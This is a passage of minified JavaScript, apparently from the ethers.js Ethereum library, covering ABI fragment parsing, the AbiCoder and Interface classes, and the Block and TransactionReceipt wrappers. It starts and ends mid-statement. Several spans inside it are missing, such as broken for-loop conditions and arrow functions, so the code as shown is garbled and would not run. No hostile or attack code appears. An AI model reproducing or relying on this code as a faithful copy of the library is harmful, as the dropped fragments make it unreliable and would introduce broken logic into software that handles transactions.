indexed=obj.indexed;if(indexed!=null){assertArgument(allowIndexed,"parameter cannot be indexed","obj.indexed",obj.indexed);indexed=!!indexed}let type=obj.type;let arrayMatch=type.match(regexArrayType);if(arrayMatch){const arrayLength=parseInt(arrayMatch[2]||"-1");const arrayChildren=ParamType.from({type:arrayMatch[1],components:obj.components});return new ParamType(_guard$2,name||"",type,"array",indexed,null,arrayLength,arrayChildren)}if(type==="tuple"||type.startsWith("tuple(")||type.startsWith("(")){const comps=obj.components!=null?obj.components.map(c=>ParamType.from(c)):null;const tuple=new ParamType(_guard$2,name||"",type,"tuple",indexed,comps,null,null);return tuple}type=verifyBasicType(obj.type);return new ParamType(_guard$2,name||"",type,type,indexed,null,null,null)}static isParamType(value){return value&&value[internal$1]===ParamTypeInternal}}class Fragment{type;inputs;constructor(guard,type,inputs){assertPrivate(guard,_guard$2,"Fragment");inputs=Object.freeze(inputs.slice());defineProperties(this,{type:type,inputs:inputs})}static from(obj){if(typeof obj==="string"){try{Fragment.from(JSON.parse(obj))}catch(e){}return Fragment.from(lex(obj))}if(obj instanceof TokenString){const type=obj.peekKeyword(KwTypes);switch(type){case"constructor":return ConstructorFragment.from(obj);case"error":return ErrorFragment.from(obj);case"event":return EventFragment.from(obj);case"fallback":case"receive":return FallbackFragment.from(obj);case"function":return FunctionFragment.from(obj);case"struct":return StructFragment.from(obj)}}else if(typeof obj==="object"){switch(obj.type){case"constructor":return ConstructorFragment.from(obj);case"error":return ErrorFragment.from(obj);case"event":return EventFragment.from(obj);case"fallback":case"receive":return FallbackFragment.from(obj);case"function":return FunctionFragment.from(obj);case"struct":return StructFragment.from(obj)}assert(false,`unsupported type: ${obj.type}`,"UNSUPPORTED_OPERATION",{operation:"Fragment.from"})}assertArgument(false,"unsupported frgament object","obj",obj)}static isConstructor(value){return ConstructorFragment.isFragment(value)}static isError(value){return ErrorFragment.isFragment(value)}static isEvent(value){return EventFragment.isFragment(value)}static isFunction(value){return FunctionFragment.isFragment(value)}static isStruct(value){return StructFragment.isFragment(value)}}class NamedFragment extends Fragment{name;constructor(guard,type,name,inputs){super(guard,type,inputs);assertArgument(typeof name==="string"&&name.match(regexId),"invalid identifier","name",name);inputs=Object.freeze(inputs.slice());defineProperties(this,{name:name})}}function joinParams(format,params){return"("+params.map(p=>p.format(format)).join(format==="full"?", ":",")+")"}class ErrorFragment extends NamedFragment{constructor(guard,name,inputs){super(guard,"error",name,inputs);Object.defineProperty(this,internal$1,{value:ErrorFragmentInternal})}get selector(){return id(this.format("sighash")).substring(0,10)}format(format){if(format==null){format="sighash"}if(format==="json"){return JSON.stringify({type:"error",name:this.name,inputs:this.inputs.map(input=>JSON.parse(input.format(format)))})}const result=[];if(format!=="sighash"){result.push("error")}result.push(this.name+joinParams(format,this.inputs));return result.join(" ")}static from(obj){if(ErrorFragment.isFragment(obj)){return obj}if(typeof obj==="string"){return ErrorFragment.from(lex(obj))}else if(obj instanceof TokenString){const name=consumeName("error",obj);const inputs=consumeParams(obj);consumeEoi(obj);return new ErrorFragment(_guard$2,name,inputs)}return new ErrorFragment(_guard$2,obj.name,obj.inputs?obj.inputs.map(ParamType.from):[])}static isFragment(value){return value&&value[internal$1]===ErrorFragmentInternal}}class EventFragment extends NamedFragment{anonymous;constructor(guard,name,inputs,anonymous){super(guard,"event",name,inputs);Object.defineProperty(this,internal$1,{value:EventFragmentInternal});defineProperties(this,{anonymous:anonymous})}get topicHash(){return id(this.format("sighash"))}format(format){if(format==null){format="sighash"}if(format==="json"){return JSON.stringify({type:"event",anonymous:this.anonymous,name:this.name,inputs:this.inputs.map(i=>JSON.parse(i.format(format)))})}const result=[];if(format!=="sighash"){result.push("event")}result.push(this.name+joinParams(format,this.inputs));if(format!=="sighash"&&this.anonymous){result.push("anonymous")}return result.join(" ")}static getTopicHash(name,params){params=(params||[]).map(p=>ParamType.from(p));const fragment=new EventFragment(_guard$2,name,params,false);return fragment.topicHash}static from(obj){if(EventFragment.isFragment(obj)){return obj}if(typeof obj==="string"){try{return EventFragment.from(lex(obj))}catch(error){assertArgument(false,"invalid event fragment","obj",obj)}}else if(obj instanceof TokenString){const name=consumeName("event",obj);const inputs=consumeParams(obj,true);const anonymous=!!consumeKeywords(obj,setify(["anonymous"])).has("anonymous");consumeEoi(obj);return new EventFragment(_guard$2,name,inputs,anonymous)}return new EventFragment(_guard$2,obj.name,obj.inputs?obj.inputs.map(p=>ParamType.from(p,true)):[],!!obj.anonymous)}static isFragment(value){return value&&value[internal$1]===EventFragmentInternal}}class ConstructorFragment extends Fragment{payable;gas;constructor(guard,type,inputs,payable,gas){super(guard,type,inputs);Object.defineProperty(this,internal$1,{value:ConstructorFragmentInternal});defineProperties(this,{payable:payable,gas:gas})}format(format){assert(format!=null&&format!=="sighash","cannot format a constructor for sighash","UNSUPPORTED_OPERATION",{operation:"format(sighash)"});if(format==="json"){return JSON.stringify({type:"constructor",stateMutability:this.payable?"payable":"undefined",payable:this.payable,gas:this.gas!=null?this.gas:undefined,inputs:this.inputs.map(i=>JSON.parse(i.format(format)))})}const result=[`constructor${joinParams(format,this.inputs)}`];if(this.payable){result.push("payable")}if(this.gas!=null){result.push(`@${this.gas.toString()}`)}return result.join(" ")}static from(obj){if(ConstructorFragment.isFragment(obj)){return obj}if(typeof obj==="string"){try{return ConstructorFragment.from(lex(obj))}catch(error){assertArgument(false,"invalid constuctor fragment","obj",obj)}}else if(obj instanceof TokenString){consumeKeywords(obj,setify(["constructor"]));const inputs=consumeParams(obj);const payable=!!consumeKeywords(obj,KwVisibDeploy).has("payable");const gas=consumeGas(obj);consumeEoi(obj);return new ConstructorFragment(_guard$2,"constructor",inputs,payable,gas)}return new ConstructorFragment(_guard$2,"constructor",obj.inputs?obj.inputs.map(ParamType.from):[],!!obj.payable,obj.gas!=null?obj.gas:null)}static isFragment(value){return value&&value[internal$1]===ConstructorFragmentInternal}}class FallbackFragment extends Fragment{payable;constructor(guard,inputs,payable){super(guard,"fallback",inputs);Object.defineProperty(this,internal$1,{value:FallbackFragmentInternal});defineProperties(this,{payable:payable})}format(format){const type=this.inputs.length===0?"receive":"fallback";if(format==="json"){const stateMutability=this.payable?"payable":"nonpayable";return JSON.stringify({type:type,stateMutability:stateMutability})}return`${type}()${this.payable?" payable":""}`}static from(obj){if(FallbackFragment.isFragment(obj)){return obj}if(typeof obj==="string"){try{return FallbackFragment.from(lex(obj))}catch(error){assertArgument(false,"invalid fallback fragment","obj",obj)}}else if(obj instanceof TokenString){const errorObj=obj.toString();const topIsValid=obj.peekKeyword(setify(["fallback","receive"]));assertArgument(topIsValid,"type must be fallback or receive","obj",errorObj);const type=obj.popKeyword(setify(["fallback","receive"]));if(type==="receive"){const inputs=consumeParams(obj);assertArgument(inputs.length===0,`receive cannot have arguments`,"obj.inputs",inputs);consumeKeywords(obj,setify(["payable"]));consumeEoi(obj);return new FallbackFragment(_guard$2,[],true)}let inputs=consumeParams(obj);if(inputs.length){assertArgument(inputs.length===1&&inputs[0].type==="bytes","invalid fallback inputs","obj.inputs",inputs.map(i=>i.format("minimal")).join(", "))}else{inputs=[ParamType.from("bytes")]}const mutability=consumeMutability(obj);assertArgument(mutability==="nonpayable"||mutability==="payable","fallback cannot be constants","obj.stateMutability",mutability);if(consumeKeywords(obj,setify(["returns"])).has("returns")){const outputs=consumeParams(obj);assertArgument(outputs.length===1&&outputs[0].type==="bytes","invalid fallback outputs","obj.outputs",outputs.map(i=>i.format("minimal")).join(", "))}consumeEoi(obj);return new FallbackFragment(_guard$2,inputs,mutability==="payable")}if(obj.type==="receive"){return new FallbackFragment(_guard$2,[],true)}if(obj.type==="fallback"){const inputs=[ParamType.from("bytes")];const payable=obj.stateMutability==="payable";return new FallbackFragment(_guard$2,inputs,payable)}assertArgument(false,"invalid fallback description","obj",obj)}static isFragment(value){return value&&value[internal$1]===FallbackFragmentInternal}}class FunctionFragment extends NamedFragment{constant;outputs;stateMutability;payable;gas;constructor(guard,name,stateMutability,inputs,outputs,gas){super(guard,"function",name,inputs);Object.defineProperty(this,internal$1,{value:FunctionFragmentInternal});outputs=Object.freeze(outputs.slice());const constant=stateMutability==="view"||stateMutability==="pure";const payable=stateMutability==="payable";defineProperties(this,{constant:constant,gas:gas,outputs:outputs,payable:payable,stateMutability:stateMutability})}get selector(){return id(this.format("sighash")).substring(0,10)}format(format){if(format==null){format="sighash"}if(format==="json"){return JSON.stringify({type:"function",name:this.name,constant:this.constant,stateMutability:this.stateMutability!=="nonpayable"?this.stateMutability:undefined,payable:this.payable,gas:this.gas!=null?this.gas:undefined,inputs:this.inputs.map(i=>JSON.parse(i.format(format))),outputs:this.outputs.map(o=>JSON.parse(o.format(format)))})}const result=[];if(format!=="sighash"){result.push("function")}result.push(this.name+joinParams(format,this.inputs));if(format!=="sighash"){if(this.stateMutability!=="nonpayable"){result.push(this.stateMutability)}if(this.outputs&&this.outputs.length){result.push("returns");result.push(joinParams(format,this.outputs))}if(this.gas!=null){result.push(`@${this.gas.toString()}`)}}return result.join(" ")}static getSelector(name,params){params=(params||[]).map(p=>ParamType.from(p));const fragment=new FunctionFragment(_guard$2,name,"view",params,[],null);return fragment.selector}static from(obj){if(FunctionFragment.isFragment(obj)){return obj}if(typeof obj==="string"){try{return FunctionFragment.from(lex(obj))}catch(error){assertArgument(false,"invalid function fragment","obj",obj)}}else if(obj instanceof TokenString){const name=consumeName("function",obj);const inputs=consumeParams(obj);const mutability=consumeMutability(obj);let outputs=[];if(consumeKeywords(obj,setify(["returns"])).has("returns")){outputs=consumeParams(obj)}const gas=consumeGas(obj);consumeEoi(obj);return new FunctionFragment(_guard$2,name,mutability,inputs,outputs,gas)}let stateMutability=obj.stateMutability;if(stateMutability==null){stateMutability="payable";if(typeof obj.constant==="boolean"){stateMutability="view";if(!obj.constant){stateMutability="payable";if(typeof obj.payable==="boolean"&&!obj.payable){stateMutability="nonpayable"}}}else if(typeof obj.payable==="boolean"&&!obj.payable){stateMutability="nonpayable"}}return new FunctionFragment(_guard$2,obj.name,stateMutability,obj.inputs?obj.inputs.map(ParamType.from):[],obj.outputs?obj.outputs.map(ParamType.from):[],obj.gas!=null?obj.gas:null)}static isFragment(value){return value&&value[internal$1]===FunctionFragmentInternal}}class StructFragment extends NamedFragment{constructor(guard,name,inputs){super(guard,"struct",name,inputs);Object.defineProperty(this,internal$1,{value:StructFragmentInternal})}format(){throw new Error("@TODO")}static from(obj){if(typeof obj==="string"){try{return StructFragment.from(lex(obj))}catch(error){assertArgument(false,"invalid struct fragment","obj",obj)}}else if(obj instanceof TokenString){const name=consumeName("struct",obj);const inputs=consumeParams(obj);consumeEoi(obj);return new StructFragment(_guard$2,name,inputs)}return new StructFragment(_guard$2,obj.name,obj.inputs?obj.inputs.map(ParamType.from):[])}static isFragment(value){return value&&value[internal$1]===StructFragmentInternal}}const PanicReasons$1=new Map;PanicReasons$1.set(0,"GENERIC_PANIC");PanicReasons$1.set(1,"ASSERT_FALSE");PanicReasons$1.set(17,"OVERFLOW");PanicReasons$1.set(18,"DIVIDE_BY_ZERO");PanicReasons$1.set(33,"ENUM_RANGE_ERROR");PanicReasons$1.set(34,"BAD_STORAGE_DATA");PanicReasons$1.set(49,"STACK_UNDERFLOW");PanicReasons$1.set(50,"ARRAY_RANGE_ERROR");PanicReasons$1.set(65,"OUT_OF_MEMORY");PanicReasons$1.set(81,"UNINITIALIZED_FUNCTION_CALL");const paramTypeBytes=new RegExp(/^bytes([0-9]*)$/);const paramTypeNumber=new RegExp(/^(u?int)([0-9]*)$/);let defaultCoder=null;let defaultMaxInflation=1024;function getBuiltinCallException(action,tx,data,abiCoder){let message="missing revert data";let reason=null;const invocation=null;let revert=null;if(data){message="execution reverted";const bytes=getBytes(data);data=hexlify(data);if(bytes.length===0){message+=" (no data present; likely require(false) occurred";reason="require(false)"}else if(bytes.length%32!==4){message+=" (could not decode reason; invalid data length)"}else if(hexlify(bytes.slice(0,4))==="0x08c379a0"){try{reason=abiCoder.decode(["string"],bytes.slice(4))[0];revert={signature:"Error(string)",name:"Error",args:[reason]};message+=`: ${JSON.stringify(reason)}`}catch(error){message+=" (could not decode reason; invalid string data)"}}else if(hexlify(bytes.slice(0,4))==="0x4e487b71"){try{const code=Number(abiCoder.decode(["uint256"],bytes.slice(4))[0]);revert={signature:"Panic(uint256)",name:"Panic",args:[code]};reason=`Panic due to ${PanicReasons$1.get(code)||"UNKNOWN"}(${code})`;message+=`: ${reason}`}catch(error){message+=" (could not decode panic code)"}}else{message+=" (unknown custom error)"}}const transaction={to:tx.to?getAddress(tx.to):null,data:tx.data||"0x"};if(tx.from){transaction.from=getAddress(tx.from)}return makeError(message,"CALL_EXCEPTION",{action:action,data:data,reason:reason,transaction:transaction,invocation:invocation,revert:revert})}class AbiCoder{#getCoder(param){if(param.isArray()){return new ArrayCoder(this.#getCoder(param.arrayChildren),param.arrayLength,param.name)}if(param.isTuple()){return new TupleCoder(param.components.map(c=>this.#getCoder(c)),param.name)}switch(param.baseType){case"address":return new AddressCoder(param.name);case"bool":return new BooleanCoder(param.name);case"string":return new StringCoder(param.name);case"bytes":return new BytesCoder(param.name);case"":return new NullCoder(param.name)}let match=param.type.match(paramTypeNumber);if(match){let size=parseInt(match[2]||"256");assertArgument(size!==0&&size<=256&&size%8===0,"invalid "+match[1]+" bit length","param",param);return new NumberCoder(size/8,match[1]==="int",param.name)}match=param.type.match(paramTypeBytes);if(match){let size=parseInt(match[1]);assertArgument(size!==0&&size<=32,"invalid bytes length","param",param);return new FixedBytesCoder(size,param.name)}assertArgument(false,"invalid type","type",param.type)}getDefaultValue(types){const coders=types.map(type=>this.#getCoder(ParamType.from(type)));const coder=new TupleCoder(coders,"_");return coder.defaultValue()}encode(types,values){assertArgumentCount(values.length,types.length,"types/values length mismatch");const coders=types.map(type=>this.#getCoder(ParamType.from(type)));const coder=new TupleCoder(coders,"_");const writer=new Writer;coder.encode(writer,values);return writer.data}decode(types,data,loose){const coders=types.map(type=>this.#getCoder(ParamType.from(type)));const coder=new TupleCoder(coders,"_");return coder.decode(new Reader(data,loose,defaultMaxInflation))}static _setDefaultMaxInflation(value){assertArgument(typeof value==="number"&&Number.isInteger(value),"invalid defaultMaxInflation factor","value",value);defaultMaxInflation=value}static defaultAbiCoder(){if(defaultCoder==null){defaultCoder=new AbiCoder}return defaultCoder}static getBuiltinCallException(action,tx,data){return getBuiltinCallException(action,tx,data,AbiCoder.defaultAbiCoder())}}function encodeBytes32String(text){const bytes=toUtf8Bytes(text);if(bytes.length>31){throw new Error("bytes32 string must be less than 32 bytes")}return zeroPadBytes(bytes,32)}function decodeBytes32String(_bytes){const data=getBytes(_bytes,"bytes");if(data.length!==32){throw new Error("invalid bytes32 - not 32 bytes long")}if(data[31]!==0){throw new Error("invalid bytes32 string - no null terminator")}let length=31;while(data[length-1]===0){length--}return toUtf8String(data.slice(0,length))}class LogDescription{fragment;name;signature;topic;args;constructor(fragment,topic,args){const name=fragment.name,signature=fragment.format();defineProperties(this,{fragment:fragment,name:name,signature:signature,topic:topic,args:args})}}class TransactionDescription{fragment;name;args;signature;selector;value;constructor(fragment,selector,args,value){const name=fragment.name,signature=fragment.format();defineProperties(this,{fragment:fragment,name:name,args:args,signature:signature,selector:selector,value:value})}}class ErrorDescription{fragment;name;args;signature;selector;constructor(fragment,selector,args){const name=fragment.name,signature=fragment.format();defineProperties(this,{fragment:fragment,name:name,args:args,signature:signature,selector:selector})}}class Indexed{hash;_isIndexed;static isIndexed(value){return!!(value&&value._isIndexed)}constructor(hash){defineProperties(this,{hash:hash,_isIndexed:true})}}const PanicReasons={0:"generic panic",1:"assert(false)",17:"arithmetic overflow",18:"division or modulo by zero",33:"enum overflow",34:"invalid encoded storage byte array accessed",49:"out-of-bounds array access; popping on an empty array",50:"out-of-bounds access of an array or bytesN",65:"out of memory",81:"uninitialized function"};const BuiltinErrors={"0x08c379a0":{signature:"Error(string)",name:"Error",inputs:["string"],reason:message=>{return`reverted with reason string ${JSON.stringify(message)}`}},"0x4e487b71":{signature:"Panic(uint256)",name:"Panic",inputs:["uint256"],reason:code=>{let reason="unknown panic code";if(code>=0&&code<=255&&PanicReasons[code.toString()]){reason=PanicReasons[code.toString()]}return`reverted with panic code 0x${code.toString(16)} (${reason})`}}};class Interface{fragments;deploy;fallback;receive;#errors;#events;#functions;#abiCoder;constructor(fragments){let abi=[];if(typeof fragments==="string"){abi=JSON.parse(fragments)}else{abi=fragments}this.#functions=new Map;this.#errors=new Map;this.#events=new Map;const frags=[];for(const a of abi){try{frags.push(Fragment.from(a))}catch(error){console.log(`[Warning] Invalid Fragment ${JSON.stringify(a)}:`,error.message)}}defineProperties(this,{fragments:Object.freeze(frags)});let fallback=null;let receive=false;this.#abiCoder=this.getAbiCoder();this.fragments.forEach((fragment,index)=>{let bucket;switch(fragment.type){case"constructor":if(this.deploy){console.log("duplicate definition - constructor");return}defineProperties(this,{deploy:fragment});return;case"fallback":if(fragment.inputs.length===0){receive=true}else{assertArgument(!fallback||fragment.payable!==fallback.payable,"conflicting fallback fragments",`fragments[${index}]`,fragment);fallback=fragment;receive=fallback.payable}return;case"function":bucket=this.#functions;break;case"event":bucket=this.#events;break;case"error":bucket=this.#errors;break;default:return}const signature=fragment.format();if(bucket.has(signature)){return}bucket.set(signature,fragment)});if(!this.deploy){defineProperties(this,{deploy:ConstructorFragment.from("constructor()")})}defineProperties(this,{fallback:fallback,receive:receive})}format(minimal){const format=minimal?"minimal":"full";const abi=this.fragments.map(f=>f.format(format));return abi}formatJson(){const abi=this.fragments.map(f=>f.format("json"));return JSON.stringify(abi.map(j=>JSON.parse(j)))}getAbiCoder(){return AbiCoder.defaultAbiCoder()}#getFunction(key,values,forceUnique){if(isHexString(key)){const selector=key.toLowerCase();for(const fragment of this.#functions.values()){if(selector===fragment.selector){return fragment}}return null}if(key.indexOf("(")===-1){const matching=[];for(const[name,fragment]of this.#functions){if(name.split("(")[0]===key){matching.push(fragment)}}if(values){const lastValue=values.length>0?values[values.length-1]:null;let valueLength=values.length;let allowOptions=true;if(Typed.isTyped(lastValue)&&lastValue.type==="overrides"){allowOptions=false;valueLength--}for(let i=matching.length-1;i>=0;i--){const inputs=matching[i].inputs.length;if(inputs!==valueLength&&(!allowOptions||inputs!==valueLength-1)){matching.splice(i,1)}}for(let i=matching.length-1;i>=0;i--){const inputs=matching[i].inputs;for(let j=0;j=inputs.length){if(values[j].type==="overrides"){continue}matching.splice(i,1);break}if(values[j].type!==inputs[j].baseType){matching.splice(i,1);break}}}}if(matching.length===1&&values&&values.length!==matching[0].inputs.length){const lastArg=values[values.length-1];if(lastArg==null||Array.isArray(lastArg)||typeof lastArg!=="object"){matching.splice(0,1)}}if(matching.length===0){return null}if(matching.length>1&&forceUnique){const matchStr=matching.map(m=>JSON.stringify(m.format())).join(", ");assertArgument(false,`ambiguous function description (i.e. matches ${matchStr})`,"key",key)}return matching[0]}const result=this.#functions.get(FunctionFragment.from(key).format());if(result){return result}return null}getFunctionName(key){const fragment=this.#getFunction(key,null,false);assertArgument(fragment,"no matching function","key",key);return fragment.name}hasFunction(key){return!!this.#getFunction(key,null,false)}getFunction(key,values){return this.#getFunction(key,values||null,true)}forEachFunction(callback){const names=Array.from(this.#functions.keys());names.sort((a,b)=>a.localeCompare(b));for(let i=0;i=0;i--){if(matching[i].inputs.length=0;i--){const inputs=matching[i].inputs;for(let j=0;j1&&forceUnique){const matchStr=matching.map(m=>JSON.stringify(m.format())).join(", ");assertArgument(false,`ambiguous event description (i.e. matches ${matchStr})`,"key",key)}return matching[0]}const result=this.#events.get(EventFragment.from(key).format());if(result){return result}return null}getEventName(key){const fragment=this.#getEvent(key,null,false);assertArgument(fragment,"no matching event","key",key);return fragment.name}hasEvent(key){return!!this.#getEvent(key,null,false)}getEvent(key,values){return this.#getEvent(key,values||null,true)}forEachEvent(callback){const names=Array.from(this.#events.keys());names.sort((a,b)=>a.localeCompare(b));for(let i=0;i1){const matchStr=matching.map(m=>JSON.stringify(m.format())).join(", ");assertArgument(false,`ambiguous error description (i.e. ${matchStr})`,"name",key)}return matching[0]}key=ErrorFragment.from(key).format();if(key==="Error(string)"){return ErrorFragment.from("error Error(string)")}if(key==="Panic(uint256)"){return ErrorFragment.from("error Panic(uint256)")}const result=this.#errors.get(key);if(result){return result}return null}forEachError(callback){const names=Array.from(this.#errors.keys());names.sort((a,b)=>a.localeCompare(b));for(let i=0;i{if(param.type==="string"){return id(value)}else if(param.type==="bytes"){return keccak256(hexlify(value))}if(param.type==="bool"&&typeof value==="boolean"){value=value?"0x01":"0x00"}else if(param.type.match(/^u?int/)){value=toBeHex(value)}else if(param.type.match(/^bytes/)){value=zeroPadBytes(value,32)}else if(param.type==="address"){this.#abiCoder.encode(["address"],[value])}return zeroPadValue(hexlify(value),32)};values.forEach((value,index)=>{const param=fragment.inputs[index];if(!param.indexed){assertArgument(value==null,"cannot filter non-indexed parameters; must be null","contract."+param.name,value);return}if(value==null){topics.push(null)}else if(param.baseType==="array"||param.baseType==="tuple"){assertArgument(false,"filtering with tuples or arrays not supported","contract."+param.name,value)}else if(Array.isArray(value)){topics.push(value.map(value=>encodeTopic(param,value)))}else{topics.push(encodeTopic(param,value))}});while(topics.length&&topics[topics.length-1]===null){topics.pop()}return topics}encodeEventLog(fragment,values){if(typeof fragment==="string"){const f=this.getEvent(fragment);assertArgument(f,"unknown event","eventFragment",fragment);fragment=f}const topics=[];const dataTypes=[];const dataValues=[];if(!fragment.anonymous){topics.push(fragment.topicHash)}assertArgument(values.length===fragment.inputs.length,"event arguments/values mismatch","values",values);fragment.inputs.forEach((param,index)=>{const value=values[index];if(param.indexed){if(param.type==="string"){topics.push(id(value))}else if(param.type==="bytes"){topics.push(keccak256(value))}else if(param.baseType==="tuple"||param.baseType==="array"){throw new Error("not implemented")}else{topics.push(this.#abiCoder.encode([param.type],[value]))}}else{dataTypes.push(param);dataValues.push(value)}});return{data:this.#abiCoder.encode(dataTypes,dataValues),topics:topics}}decodeEventLog(fragment,data,topics){if(typeof fragment==="string"){const f=this.getEvent(fragment);assertArgument(f,"unknown event","eventFragment",fragment);fragment=f}if(topics!=null&&!fragment.anonymous){const eventTopic=fragment.topicHash;assertArgument(isHexString(topics[0],32)&&topics[0].toLowerCase()===eventTopic,"fragment/topic mismatch","topics[0]",topics[0]);topics=topics.slice(1)}const indexed=[];const nonIndexed=[];const dynamic=[];fragment.inputs.forEach((param,index)=>{if(param.indexed){if(param.type==="string"||param.type==="bytes"||param.baseType==="tuple"||param.baseType==="array"){indexed.push(ParamType.from({type:"bytes32",name:param.name}));dynamic.push(true)}else{indexed.push(param);dynamic.push(false)}}else{nonIndexed.push(param);dynamic.push(false)}});const resultIndexed=topics!=null?this.#abiCoder.decode(indexed,concat(topics)):null;const resultNonIndexed=this.#abiCoder.decode(nonIndexed,data,true);const values=[];const keys=[];let nonIndexedIndex=0,indexedIndex=0;fragment.inputs.forEach((param,index)=>{let value=null;if(param.indexed){if(resultIndexed==null){value=new Indexed(null)}else if(dynamic[index]){value=new Indexed(resultIndexed[indexedIndex++])}else{try{value=resultIndexed[indexedIndex++]}catch(error){value=error}}}else{try{value=resultNonIndexed[nonIndexedIndex++]}catch(error){value=error}}values.push(value);keys.push(param.name||null)});return Result.fromItems(values,keys)}parseTransaction(tx){const data=getBytes(tx.data,"tx.data");const value=getBigInt(tx.value!=null?tx.value:0,"tx.value");const fragment=this.getFunction(hexlify(data.slice(0,4)));if(!fragment){return null}const args=this.#abiCoder.decode(fragment.inputs,data.slice(4));return new TransactionDescription(fragment,fragment.selector,args,value)}parseCallResult(data){throw new Error("@TODO")}parseLog(log){const fragment=this.getEvent(log.topics[0]);if(!fragment||fragment.anonymous){return null}return new LogDescription(fragment,fragment.topicHash,this.decodeEventLog(fragment,log.data,log.topics))}parseError(data){const hexData=hexlify(data);const fragment=this.getError(dataSlice(hexData,0,4));if(!fragment){return null}const args=this.#abiCoder.decode(fragment.inputs,dataSlice(hexData,4));return new ErrorDescription(fragment,fragment.selector,args)}static from(value){if(value instanceof Interface){return value}if(typeof value==="string"){return new Interface(JSON.parse(value))}if(typeof value.formatJson==="function"){return new Interface(value.formatJson())}if(typeof value.format==="function"){return new Interface(value.format("json"))}return new Interface(value)}}const BN_0$2=BigInt(0);function getValue(value){if(value==null){return null}return value}function toJson(value){if(value==null){return null}return value.toString()}class FeeData{gasPrice;maxFeePerGas;maxPriorityFeePerGas;constructor(gasPrice,maxFeePerGas,maxPriorityFeePerGas){defineProperties(this,{gasPrice:getValue(gasPrice),maxFeePerGas:getValue(maxFeePerGas),maxPriorityFeePerGas:getValue(maxPriorityFeePerGas)})}toJSON(){const{gasPrice,maxFeePerGas,maxPriorityFeePerGas}=this;return{_type:"FeeData",gasPrice:toJson(gasPrice),maxFeePerGas:toJson(maxFeePerGas),maxPriorityFeePerGas:toJson(maxPriorityFeePerGas)}}}function copyRequest(req){const result={};if(req.to){result.to=req.to}if(req.from){result.from=req.from}if(req.data){result.data=hexlify(req.data)}const bigIntKeys="chainId,gasLimit,gasPrice,maxFeePerBlobGas,maxFeePerGas,maxPriorityFeePerGas,value".split(/,/);for(const key of bigIntKeys){if(!(key in req)||req[key]==null){continue}result[key]=getBigInt(req[key],`request.${key}`)}const numberKeys="type,nonce".split(/,/);for(const key of numberKeys){if(!(key in req)||req[key]==null){continue}result[key]=getNumber(req[key],`request.${key}`)}if(req.accessList){result.accessList=accessListify(req.accessList)}if(req.authorizationList){result.authorizationList=req.authorizationList.slice()}if("blockTag"in req){result.blockTag=req.blockTag}if("enableCcipRead"in req){result.enableCcipRead=!!req.enableCcipRead}if("customData"in req){result.customData=req.customData}if("blobVersionedHashes"in req&&req.blobVersionedHashes){result.blobVersionedHashes=req.blobVersionedHashes.slice()}if("kzg"in req){result.kzg=req.kzg}if("blobs"in req&&req.blobs){result.blobs=req.blobs.map(b=>{if(isBytesLike(b)){return hexlify(b)}return Object.assign({},b)})}return result}class Block{provider;number;hash;timestamp;parentHash;parentBeaconBlockRoot;nonce;difficulty;gasLimit;gasUsed;stateRoot;receiptsRoot;blobGasUsed;excessBlobGas;miner;prevRandao;extraData;baseFeePerGas;#transactions;constructor(block,provider){this.#transactions=block.transactions.map(tx=>{if(typeof tx!=="string"){return new TransactionResponse(tx,provider)}return tx});defineProperties(this,{provider:provider,hash:getValue(block.hash),number:block.number,timestamp:block.timestamp,parentHash:block.parentHash,parentBeaconBlockRoot:block.parentBeaconBlockRoot,nonce:block.nonce,difficulty:block.difficulty,gasLimit:block.gasLimit,gasUsed:block.gasUsed,blobGasUsed:block.blobGasUsed,excessBlobGas:block.excessBlobGas,miner:block.miner,prevRandao:getValue(block.prevRandao),extraData:block.extraData,baseFeePerGas:getValue(block.baseFeePerGas),stateRoot:block.stateRoot,receiptsRoot:block.receiptsRoot})}get transactions(){return this.#transactions.map(tx=>{if(typeof tx==="string"){return tx}return tx.hash})}get prefetchedTransactions(){const txs=this.#transactions.slice();if(txs.length===0){return[]}assert(typeof txs[0]==="object","transactions were not prefetched with block request","UNSUPPORTED_OPERATION",{operation:"transactionResponses()"});return txs}toJSON(){const{baseFeePerGas,difficulty,extraData,gasLimit,gasUsed,hash,miner,prevRandao,nonce,number,parentHash,parentBeaconBlockRoot,stateRoot,receiptsRoot,timestamp,transactions}=this;return{_type:"Block",baseFeePerGas:toJson(baseFeePerGas),difficulty:toJson(difficulty),extraData:extraData,gasLimit:toJson(gasLimit),gasUsed:toJson(gasUsed),blobGasUsed:toJson(this.blobGasUsed),excessBlobGas:toJson(this.excessBlobGas),hash:hash,miner:miner,prevRandao:prevRandao,nonce:nonce,number:number,parentHash:parentHash,timestamp:timestamp,parentBeaconBlockRoot:parentBeaconBlockRoot,stateRoot:stateRoot,receiptsRoot:receiptsRoot,transactions:transactions}}[Symbol.iterator](){let index=0;const txs=this.transactions;return{next:()=>{if(index{return new Log(log,provider)}));let gasPrice=BN_0$2;if(tx.effectiveGasPrice!=null){gasPrice=tx.effectiveGasPrice}else if(tx.gasPrice!=null){gasPrice=tx.gasPrice}defineProperties(this,{provider:provider,to:tx.to,from:tx.from,contractAddress:tx.contractAddress,hash:tx.hash,index:tx.index,blockHash:tx.blockHash,blockNumber:tx.blockNumber,logsBloom:tx.logsBloom,gasUsed:tx.gasUsed,cumulativeGasUsed:tx.cumulativeGasUsed,blobGasUsed:tx.blobGasUsed,gasPrice:gasPrice,blobGasPrice:tx.blobGasPrice,type:tx.type,status:tx.status,root:tx.root})}get logs(){return this.#logs}toJSON(){const{to,from,contractAddress,hash,index,blockHash,blockNumber,logsBloom,logs,status,root}=this;return{_type:"TransactionReceipt",blockHash:blockHash,blockNumber:blockNumber,contractAddress:contractAddress,cumulativeGasUsed:toJson(this.cumulativeGasUsed),from:from,gasPrice:toJson(this.gasPrice),blobGasUsed:toJson(this.blobGasUsed),blobGasPrice:toJson(this.blobGasPrice),gasUsed:toJson(this.gasUsed),hash:hash,index:index,logs:logs,logsBloom:logsBloom,root:root,status:status,to:to}}get length(){return this.logs.length}[Symbol.iterator](){let index=0;return{next:()=>{if(index{if(stopScanning){return null}const{blockNumber,nonce}=await resolveProperties({blockNumber:this.provider.getBlockNumber(),nonce:this.provider.getTransactionCount(this.from)});if(nonce{if(receipt==null||receipt.status!==0){return receipt}assert(false,"transaction execution reverted","CALL_EXCEPTION",{action:"sendTransaction",data:null,reason:null,invocation:null,revert:null,transaction:{to:receipt.to,from:receipt.from,data:""},receipt:receipt})};const receipt=await this.provider.getTransactionReceipt(this.hash);if(confirms===0){return checkReceipt(receipt)}if(receipt){if(confirms===1||await receipt.confirmations()>=confirms){return checkReceipt(receipt)}}else{await checkReplacement();if(confirms===0){return 